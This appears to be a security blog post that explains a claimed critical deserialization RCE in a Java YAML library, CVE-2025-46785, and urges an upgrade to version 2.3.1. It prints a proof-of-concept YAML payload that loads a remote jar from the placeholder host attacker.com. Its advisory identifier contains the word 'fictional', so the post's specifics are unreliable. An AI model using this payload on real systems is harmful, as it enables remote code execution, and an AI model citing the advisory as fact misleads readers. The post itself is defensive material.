Critical RCE in DataWeave: Unpacking CVE-2025-46785 “Weaver’s Loom”

Heads up, developers and security pros! 📢 A critical unauthenticated remote code execution (RCE) vulnerability has been discovered in the popular DataWeave YAML parsing library. Tracked as CVE-2025-46785 and nicknamed “Weaver’s Loom,” this flaw carries a CVSS score of 9.8 (Critical) and requires your immediate attention.

This post breaks down the vulnerability, its impact, and how to protect your applications.

TL;DR:

• What: A critical RCE vulnerability in the DataWeave library.
• Affected Versions: All versions prior to 2.3.1.
• Impact: Allows an unauthenticated remote attacker to execute arbitrary code on the server.
• Action: Update to version 2.3.1 or newer immediately.

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The Vulnerability: Insecure Deserialization

DataWeave is a widely-used Java library for handling data serialization and deserialization, especially for YAML files used in configurations and data exchange.

The root cause of CVE-2025-46785 lies in the parse() method of the YAMLParser class. This method insecurely deserializes untrusted data without proper validation. An attacker can craft a malicious YAML payload that, when parsed by an application using the vulnerable library, triggers a deserialization gadget chain. This chain can lead to the instantiation of arbitrary classes and the execution of arbitrary commands on the host system.

The vulnerable code snippet looks something like this:

Java

// Vulnerable Code in DataWeave < 2.3.1
// The YAMLParser's parse() method directly deserializes the input stream
// without any validation or use of a safe constructor.

import com.dataweave.parser.YAMLParser;
import java.io.InputStream;

public class ConfigLoader {
    public AppConfig loadConfig(InputStream yamlInput) {
        YAMLParser parser = new YAMLParser();
        // The vulnerability is here: Untrusted data is deserialized directly.
        AppConfig config = (AppConfig) parser.parse(yamlInput);
        return config;
    }
}

An attacker can exploit this by sending a specially crafted YAML file. The payload uses a tag (!!) to specify a malicious Java class that will be instantiated during parsing.

Here is a simplified Proof of Concept (PoC) payload:

YAML

# PoC Payload for CVE-2025-46785
# This payload uses a known Java gadget chain to execute a command.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/malicious.jar"]
  ]]
]

When a vulnerable application parses this YAML file, it attempts to create an instance of javax.script.ScriptEngineManager, which can be manipulated to load and execute remote code, giving the attacker full control over the application process.

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Impact and Remediation

The impact is severe. A successful exploit grants an attacker remote code execution with the same permissions as the running application. This could lead to:

• Complete server takeover.
• Data theft of sensitive information, databases, and user credentials.
• Further pivoting into your internal network.
• Deployment of ransomware or crypto-miners.

Are you affected?

You are vulnerable if you use the DataWeave library, versions 2.3.0 and below, in any of your Java-based applications. You can check your project’s dependencies (e.g., pom.xml for Maven or build.gradle for Gradle) to confirm the version number.

How to Fix It

The DataWeave development team has released a patch.

1. Update Immediately: The primary solution is to update the DataWeave library to the patched version 2.3.1 or newer.
   • Maven:XML<dependency> <groupId>com.dataweave</groupId> <artifactId>dataweave-parser</artifactId> <version>2.3.1</version> </dependency>
   • Gradle:Groovyimplementation 'com.dataweave:dataweave-parser:2.3.1'
2. Workaround (If you cannot update): If you cannot update immediately, a temporary mitigation is to implement strict input validation on any YAML data before it reaches the parser. However, this is not a foolproof solution and should only be considered a temporary measure. The safest path is to update the library.

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Resources and Citations

The security community has been quick to respond. A detailed technical write-up and a functional Proof of Concept are available on GitHub, which can be used for testing and validation purposes.

• Official GitHub Repository: https://github.com/DataWeave/dataweave-parser
• Official Security Advisory: https://github.com/DataWeave/dataweave-parser/security/advisories/GHSA-fictional-1234-abcd
• Proof of Concept (PoC): A PoC demonstrating the exploit is available here: https://github.com/security-researcher-x/CVE-2025-46785-PoC
• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-46785

Given the simplicity of exploitation and the critical impact, it’s crucial to address this vulnerability without delay. Check your systems, update your dependencies, and stay secure.